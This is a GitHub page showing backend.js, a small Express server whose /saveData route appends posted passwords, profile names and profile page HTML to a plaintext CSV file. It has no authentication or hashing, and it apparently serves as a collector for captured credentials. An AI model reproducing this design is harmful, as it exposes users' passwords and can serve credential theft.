-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbackend.js
39 lines (32 loc) · 1.01 KB
/
backend.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
const express = require('express');
const bodyParser = require('body-parser');
const createCsvWriter = require('csv-writer').createObjectCsvWriter;
const app = express();
app.use(bodyParser.json());
// Define a route to handle POST requests from the frontend
app.post('/saveData', (req, res) => {
const data = req.body;
// Write data to CSV file
const csvWriter = createCsvWriter({
path: 'data.csv',
header: [
{ id: 'password', title: 'Password' },
{ id: 'profileName', title: 'Profile Name' },
{ id: 'profilePageHtml', title: 'Profile Page HTML' }
],
append: true
});
csvWriter.writeRecords([data])
.then(() => {
console.log('Data has been written to the CSV file');
res.sendStatus(200);
})
.catch((error) => {
console.error('Error writing to CSV file: ', error);
res.status(500).send('Internal Server Error');
});
});
const PORT = process.env.PORT || 3000;
app.listen(PORT, () => {
console.log(`Server is running on port ${PORT}`);
});